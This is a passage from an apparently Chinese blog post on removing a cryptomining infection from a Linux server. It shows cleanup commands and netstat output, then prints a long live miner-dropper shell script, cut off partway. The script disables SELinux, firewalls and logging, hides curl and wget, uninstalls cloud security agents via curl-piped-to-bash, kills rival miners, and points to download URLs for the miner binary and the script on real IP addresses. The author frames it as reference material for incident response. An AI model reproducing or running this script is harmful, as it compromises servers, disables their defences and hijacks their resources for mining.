/etc/cron.d</span><br><span class="line"></span><br><span class="line">chattr -ia /var/spool/cron/root</span><br><span class="line">rm -rf /var/spool/cron/root</span><br></pre></td></tr></table></figure><p>继续查看是否存在连接到未知外网的网络连线，将其查杀。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">netstat -anptl</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID&#x2F;Program name    </span><br><span class="line">tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1063&#x2F;sshd           </span><br><span class="line">tcp        0      0 172.19.239.108:43542    139.99.102.73:14444     ESTABLISHED 458&#x2F;[crypto]        </span><br><span class="line">tcp        0     64 172.19.239.108:22       115.238.42.142:56001    ESTABLISHED 1104&#x2F;sshd: root@pts </span><br></pre></td></tr></table></figure><p>找到未知连线crypto，查杀！</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">rm -rf \[crypto\].sh</span><br><span class="line">rm -rf \[crypto\]</span><br><span class="line">rm -rf \[crypto\].<span class="built_in">log</span> </span><br><span class="line">rm -rf \[crypto\].pid </span><br></pre></td></tr></table></figure><p>最后，杀掉运行的进程即可，或者重启下服务器也行，其他被篡改的内容，自己看着办吧，虽然操作很多，对机器也没啥影响。</p><h4 id="脚本附件"><a href="#脚本附件" class="headerlink" title="脚本附件"></a>脚本附件</h4><p>最后，附上木马脚本的内容，请勿尝试运行！观摩下就好，也许哪天也用得上:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br><span class="line">529</span><br><span class="line">530</span><br><span class="line">531</span><br><span class="line">532</span><br><span class="line">533</span><br><span class="line">534</span><br><span class="line">535</span><br><span class="line">536</span><br><span class="line">537</span><br><span class="line">538</span><br><span class="line">539</span><br><span class="line">540</span><br><span class="line">541</span><br><span class="line">542</span><br><span class="line">543</span><br><span class="line">544</span><br><span class="line">545</span><br><span class="line">546</span><br><span class="line">547</span><br><span class="line">548</span><br><span class="line">549</span><br><span class="line">550</span><br><span class="line">551</span><br><span class="line">552</span><br><span class="line">553</span><br><span class="line">554</span><br><span class="line">555</span><br><span class="line">556</span><br><span class="line">557</span><br><span class="line">558</span><br><span class="line">559</span><br><span class="line">560</span><br><span class="line">561</span><br><span class="line">562</span><br><span class="line">563</span><br><span class="line">564</span><br><span class="line">565</span><br><span class="line">566</span><br><span class="line">567</span><br><span class="line">568</span><br><span class="line">569</span><br><span class="line">570</span><br><span class="line">571</span><br><span class="line">572</span><br><span class="line">573</span><br><span class="line">574</span><br><span class="line">575</span><br><span class="line">576</span><br><span class="line">577</span><br><span class="line">578</span><br><span class="line">579</span><br><span class="line">580</span><br><span class="line">581</span><br><span class="line">582</span><br><span class="line">583</span><br><span class="line">584</span><br><span class="line">585</span><br><span class="line">586</span><br><span class="line">587</span><br><span class="line">588</span><br><span class="line">589</span><br><span class="line">590</span><br><span class="line">591</span><br><span class="line">592</span><br><span class="line">593</span><br><span class="line">594</span><br><span class="line">595</span><br><span class="line">596</span><br><span class="line">597</span><br><span class="line">598</span><br><span class="line">599</span><br><span class="line">600</span><br><span class="line">601</span><br><span class="line">602</span><br><span class="line">603</span><br><span class="line">604</span><br><span class="line">605</span><br><span class="line">606</span><br><span class="line">607</span><br><span class="line">608</span><br><span class="line">609</span><br><span class="line">610</span><br><span class="line">611</span><br><span class="line">612</span><br><span class="line">613</span><br><span class="line">614</span><br><span class="line">615</span><br><span class="line">616</span><br><span class="line">617</span><br><span class="line">618</span><br><span class="line">619</span><br><span class="line">620</span><br><span class="line">621</span><br><span class="line">622</span><br><span class="line">623</span><br><span class="line">624</span><br><span class="line">625</span><br><span class="line">626</span><br><span class="line">627</span><br><span class="line">628</span><br><span class="line">629</span><br><span class="line">630</span><br><span class="line">631</span><br><span class="line">632</span><br><span class="line">633</span><br><span class="line">634</span><br><span class="line">635</span><br><span class="line">636</span><br><span class="line">637</span><br><span class="line">638</span><br><span class="line">639</span><br><span class="line">640</span><br><span class="line">641</span><br><span class="line">642</span><br><span class="line">643</span><br><span class="line">644</span><br><span class="line">645</span><br><span class="line">646</span><br><span class="line">647</span><br><span class="line">648</span><br><span class="line">649</span><br><span class="line">650</span><br><span class="line">651</span><br><span class="line">652</span><br><span class="line">653</span><br><span class="line">654</span><br><span class="line">655</span><br><span class="line">656</span><br><span class="line">657</span><br><span class="line">658</span><br><span class="line">659</span><br><span class="line">660</span><br><span class="line">661</span><br><span class="line">662</span><br><span class="line">663</span><br><span class="line">664</span><br><span class="line">665</span><br><span class="line">666</span><br><span class="line">667</span><br><span class="line">668</span><br><span class="line">669</span><br><span class="line">670</span><br><span class="line">671</span><br><span class="line">672</span><br><span class="line">673</span><br><span class="line">674</span><br><span class="line">675</span><br><span class="line">676</span><br><span class="line">677</span><br><span class="line">678</span><br><span class="line">679</span><br><span class="line">680</span><br><span class="line">681</span><br><span class="line">682</span><br><span class="line">683</span><br><span class="line">684</span><br><span class="line">685</span><br><span class="line">686</span><br><span class="line">687</span><br><span class="line">688</span><br><span class="line">689</span><br><span class="line">690</span><br><span class="line">691</span><br><span class="line">692</span><br><span class="line">693</span><br><span class="line">694</span><br><span class="line">695</span><br><span class="line">696</span><br><span class="line">697</span><br><span class="line">698</span><br><span class="line">699</span><br><span class="line">700</span><br><span class="line">701</span><br><span class="line">702</span><br><span class="line">703</span><br><span class="line">704</span><br><span class="line">705</span><br><span class="line">706</span><br><span class="line">707</span><br><span class="line">708</span><br><span class="line">709</span><br><span class="line">710</span><br><span class="line">711</span><br><span class="line">712</span><br><span class="line">713</span><br><span class="line">714</span><br><span class="line">715</span><br><span class="line">716</span><br><span class="line">717</span><br><span class="line">718</span><br><span class="line">719</span><br><span class="line">720</span><br><span class="line">721</span><br><span class="line">722</span><br><span class="line">723</span><br><span class="line">724</span><br><span class="line">725</span><br><span class="line">726</span><br><span class="line">727</span><br><span class="line">728</span><br><span class="line">729</span><br><span class="line">730</span><br><span class="line">731</span><br><span class="line">732</span><br><span class="line">733</span><br><span class="line">734</span><br><span class="line">735</span><br><span class="line">736</span><br><span class="line">737</span><br><span class="line">738</span><br><span class="line">739</span><br><span class="line">740</span><br><span class="line">741</span><br><span class="line">742</span><br><span class="line">743</span><br><span class="line">744</span><br><span class="line">745</span><br><span class="line">746</span><br><span class="line">747</span><br><span class="line">748</span><br><span class="line">749</span><br><span class="line">750</span><br><span class="line">751</span><br><span class="line">752</span><br><span class="line">753</span><br><span class="line">754</span><br><span class="line">755</span><br><span class="line">756</span><br><span class="line">757</span><br><span class="line">758</span><br><span class="line">759</span><br><span class="line">760</span><br><span class="line">761</span><br><span class="line">762</span><br><span class="line">763</span><br><span class="line">764</span><br><span class="line">765</span><br><span class="line">766</span><br><span class="line">767</span><br><span class="line">768</span><br><span class="line">769</span><br><span class="line">770</span><br><span class="line">771</span><br><span class="line">772</span><br><span class="line">773</span><br><span class="line">774</span><br><span class="line">775</span><br><span class="line">776</span><br><span class="line">777</span><br><span class="line">778</span><br><span class="line">779</span><br><span class="line">780</span><br><span class="line">781</span><br><span class="line">782</span><br><span class="line">783</span><br><span class="line">784</span><br><span class="line">785</span><br><span class="line">786</span><br><span class="line">787</span><br><span class="line">788</span><br><span class="line">789</span><br><span class="line">790</span><br><span class="line">791</span><br><span class="line">792</span><br><span class="line">793</span><br><span class="line">794</span><br><span class="line">795</span><br><span class="line">796</span><br><span class="line">797</span><br><span class="line">798</span><br><span class="line">799</span><br><span class="line">800</span><br><span class="line">801</span><br><span class="line">802</span><br><span class="line">803</span><br><span class="line">804</span><br><span class="line">805</span><br><span class="line">806</span><br><span class="line">807</span><br><span class="line">808</span><br><span class="line">809</span><br><span class="line">810</span><br><span class="line">811</span><br><span class="line">812</span><br><span class="line">813</span><br><span class="line">814</span><br><span class="line">815</span><br><span class="line">816</span><br><span class="line">817</span><br><span class="line">818</span><br><span class="line">819</span><br><span class="line">820</span><br><span class="line">821</span><br><span class="line">822</span><br><span class="line">823</span><br><span class="line">824</span><br><span class="line">825</span><br><span class="line">826</span><br><span class="line">827</span><br><span class="line">828</span><br><span class="line">829</span><br><span class="line">830</span><br><span class="line">831</span><br><span class="line">832</span><br><span class="line">833</span><br><span class="line">834</span><br><span class="line">835</span><br><span class="line">836</span><br><span class="line">837</span><br><span class="line">838</span><br><span class="line">839</span><br><span class="line">840</span><br><span class="line">841</span><br><span class="line">842</span><br><span class="line">843</span><br><span class="line">844</span><br><span class="line">845</span><br><span class="line">846</span><br><span class="line">847</span><br><span class="line">848</span><br><span class="line">849</span><br><span class="line">850</span><br><span class="line">851</span><br><span class="line">852</span><br><span class="line">853</span><br><span class="line">854</span><br><span class="line">855</span><br><span class="line">856</span><br><span class="line">857</span><br><span class="line">858</span><br><span class="line">859</span><br><span class="line">860</span><br><span class="line">861</span><br><span class="line">862</span><br><span class="line">863</span><br><span class="line">864</span><br><span class="line">865</span><br><span class="line">866</span><br><span class="line">867</span><br><span class="line">868</span><br><span class="line">869</span><br><span class="line">870</span><br><span class="line">871</span><br><span class="line">872</span><br><span class="line">873</span><br><span class="line">874</span><br><span class="line">875</span><br><span class="line">876</span><br><span class="line">877</span><br><span class="line">878</span><br><span class="line">879</span><br><span class="line">880</span><br><span class="line">881</span><br><span class="line">882</span><br><span class="line">883</span><br><span class="line">884</span><br><span class="line">885</span><br><span class="line">886</span><br><span class="line">887</span><br><span class="line">888</span><br><span class="line">889</span><br><span class="line">890</span><br><span class="line">891</span><br><span class="line">892</span><br><span class="line">893</span><br><span class="line">894</span><br><span class="line">895</span><br><span class="line">896</span><br><span class="line">897</span><br><span class="line">898</span><br><span class="line">899</span><br><span class="line">900</span><br><span class="line">901</span><br><span class="line">902</span><br><span class="line">903</span><br><span class="line">904</span><br><span class="line">905</span><br><span class="line">906</span><br><span class="line">907</span><br><span class="line">908</span><br><span class="line">909</span><br><span class="line">910</span><br><span class="line">911</span><br><span class="line">912</span><br><span class="line">913</span><br><span class="line">914</span><br><span class="line">915</span><br><span class="line">916</span><br><span class="line">917</span><br><span class="line">918</span><br><span class="line">919</span><br><span class="line">920</span><br><span class="line">921</span><br><span class="line">922</span><br><span class="line">923</span><br><span class="line">924</span><br><span class="line">925</span><br><span class="line">926</span><br><span class="line">927</span><br><span class="line">928</span><br><span class="line">929</span><br><span class="line">930</span><br><span class="line">931</span><br><span class="line">932</span><br><span class="line">933</span><br><span class="line">934</span><br><span class="line">935</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/sh</span></span><br><span class="line">setenforce 0 2&gt;dev/null</span><br><span class="line"><span class="built_in">echo</span> SELINUX=disabled &gt; /etc/sysconfig/selinux 2&gt;/dev/null</span><br><span class="line">sync &amp;&amp; <span class="built_in">echo</span> 3 &gt;/proc/sys/vm/drop_caches</span><br><span class="line">crondir=<span class="string">&#x27;/var/spool/cron/&#x27;</span><span class="string">&quot;<span class="variable">$USER</span>&quot;</span></span><br><span class="line">cont=`cat <span class="variable">$&#123;crondir&#125;</span>`</span><br><span class="line">ssht=`cat /root/.ssh/authorized_keys`</span><br><span class="line"><span class="built_in">echo</span> 1 &gt; /etc/zzhs</span><br><span class="line">rtdir=<span class="string">&quot;/etc/zzhs&quot;</span></span><br><span class="line">bbdir=<span class="string">&quot;/usr/bin/curl&quot;</span></span><br><span class="line">bbdira=<span class="string">&quot;/usr/bin/cd1&quot;</span></span><br><span class="line">ccdir=<span class="string">&quot;/usr/bin/wget&quot;</span></span><br><span class="line">ccdira=<span class="string">&quot;/usr/bin/wd1&quot;</span></span><br><span class="line">mv /usr/bin/curl /usr/bin/url</span><br><span class="line">mv /usr/bin/url /usr/bin/cd1</span><br><span class="line">mv /usr/bin/wget /usr/bin/get</span><br><span class="line">mv /usr/bin/get /usr/bin/wd1</span><br><span class="line"><span class="built_in">ulimit</span> -n 65535</span><br><span class="line">rm -rf /var/<span class="built_in">log</span>/syslog</span><br><span class="line">chattr -iua /tmp/</span><br><span class="line">chattr -iua /var/tmp/</span><br><span class="line">ufw <span class="built_in">disable</span></span><br><span class="line">iptables -F</span><br><span class="line"><span class="comment">#sudo sysctl kernel.nmi_watchdog=0</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;0&#x27;</span> &gt;/proc/sys/kernel/nmi_watchdog</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;kernel.nmi_watchdog=0&#x27;</span> &gt;&gt;/etc/sysctl.conf</span><br><span class="line">userdel akay</span><br><span class="line">userdel vfinder</span><br><span class="line">rm -rf /tmp/addres*</span><br><span class="line">rm -rf /tmp/walle*</span><br><span class="line">rm -rf /tmp/keys</span><br><span class="line"><span class="keyword">if</span> ps aux | grep -i <span class="string">&#x27;[a]liyun&#x27;</span>; <span class="keyword">then</span></span><br><span class="line">  <span class="variable">$bbdir</span> http://update.aegis.aliyun.com/download/uninstall.sh | bash</span><br><span class="line">  <span class="variable">$bbdir</span> http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash</span><br><span class="line">  <span class="variable">$bbdira</span> http://update.aegis.aliyun.com/download/uninstall.sh | bash</span><br><span class="line">  <span class="variable">$bbdira</span> http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash</span><br><span class="line">  pkill aliyun-service</span><br><span class="line">  rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service</span><br><span class="line">  rm -rf /usr/<span class="built_in">local</span>/aegis*</span><br><span class="line">  systemctl stop aliyun.service</span><br><span class="line">  systemctl <span class="built_in">disable</span> aliyun.service</span><br><span class="line">  service bcm-agent stop</span><br><span class="line">  yum remove bcm-agent -y</span><br><span class="line">  apt-get remove bcm-agent -y</span><br><span class="line"><span class="keyword">elif</span> ps aux | grep -i <span class="string">&#x27;[y]unjing&#x27;</span>; <span class="keyword">then</span></span><br><span class="line">  /usr/<span class="built_in">local</span>/qcloud/stargate/admin/uninstall.sh</span><br><span class="line">  /usr/<span class="built_in">local</span>/qcloud/YunJing/uninst.sh</span><br><span class="line">  /usr/<span class="built_in">local</span>/qcloud/monitor/barad/admin/uninstall.sh</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line">miner_url=<span class="string">&quot;http://106.15.74.113/b2f628/zzh&quot;</span></span><br><span class="line">miner_url_backup=<span class="string">&quot;http://104.244.76.33/b2f628/zzh&quot;</span></span><br><span class="line">miner_size=<span class="string">&quot;7600464&quot;</span></span><br><span class="line">sh_url=<span class="string">&quot;http://106.15.74.113/b2f628/newinit.sh&quot;</span></span><br><span class="line">sh_url_backup=<span class="string">&quot;http://104.244.76.33/b2f628/newinit.sh&quot;</span></span><br><span class="line">config_url=<span class="string">&quot;http://106.15.74.113/b2f628/config.json&quot;</span></span><br><span class="line">config_url_backup=<span class="string">&quot;http://104.244.76.33/b2f628/config.json&quot;</span></span><br><span class="line">config_size=<span class="string">&quot;2752&quot;</span></span><br><span class="line">chattr_size=<span class="string">&quot;8000&quot;</span></span><br><span class="line">rm -f /tmp/.null 2&gt;/dev/null</span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> 128 &gt; /proc/sys/vm/nr_hugepages</span><br><span class="line">sysctl -w vm.nr_hugepages=128</span><br><span class="line"></span><br><span class="line">kill_miner_proc()</span><br><span class="line">&#123;</span><br><span class="line">netstat -anp | grep 185.71.65.238 | awk <span class="string">&#x27;&#123;print $7&#125;&#x27;</span> | awk -F<span class="string">&#x27;[/]&#x27;</span> <span class="string">&#x27;&#123;print $1&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">netstat -anp | grep 140.82.52.87 | awk <span class="string">&#x27;&#123;print $7&#125;&#x27;</span> | awk -F<span class="string">&#x27;[/]&#x27;</span> <span class="string">&#x27;&#123;print $1&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">netstat -anp | grep :443 | awk <span class="string">&#x27;&#123;print $7&#125;&#x27;</span> | awk -F<span class="string">&#x27;[/]&#x27;</span> <span class="string">&#x27;&#123;print $1&#125;&#x27;</span> | grep -v <span class="string">&quot;-&quot;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">netstat -anp | grep :23 | awk <span class="string">&#x27;&#123;print $7&#125;&#x27;</span> | awk -F<span class="string">&#x27;[/]&#x27;</span> <span class="string">&#x27;&#123;print $1&#125;&#x27;</span> | grep -v <span class="string">&quot;-&quot;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">netstat -anp | grep :443 | awk <span class="string">&#x27;&#123;print $7&#125;&#x27;</span> | awk -F<span class="string">&#x27;[/]&#x27;</span> <span class="string">&#x27;&#123;print $1&#125;&#x27;</span> | grep -v <span class="string">&quot;-&quot;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">netstat -anp | grep :143 | awk <span class="string">&#x27;&#123;print $7&#125;&#x27;</span> | awk -F<span class="string">&#x27;[/]&#x27;</span> <span class="string">&#x27;&#123;print $1&#125;&#x27;</span> | grep -v <span class="string">&quot;-&quot;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">netstat -anp | grep :2222 | awk <span class="string">&#x27;&#123;print $7&#125;&#x27;</span> | awk -F<span class="string">&#x27;[/]&#x27;</span> <span class="string">&#x27;&#123;print $1&#125;&#x27;</span> | grep -v <span class="string">&quot;-&quot;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">netstat -anp | grep :3333 | awk <span class="string">&#x27;&#123;print $7&#125;&#x27;</span> | awk -F<span class="string">&#x27;[/]&#x27;</span> <span class="string">&#x27;&#123;print $1&#125;&#x27;</span> | grep -v <span class="string">&quot;-&quot;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">netstat -anp | grep :3389 | awk <span class="string">&#x27;&#123;print $7&#125;&#x27;</span> | awk -F<span class="string">&#x27;[/]&#x27;</span> <span 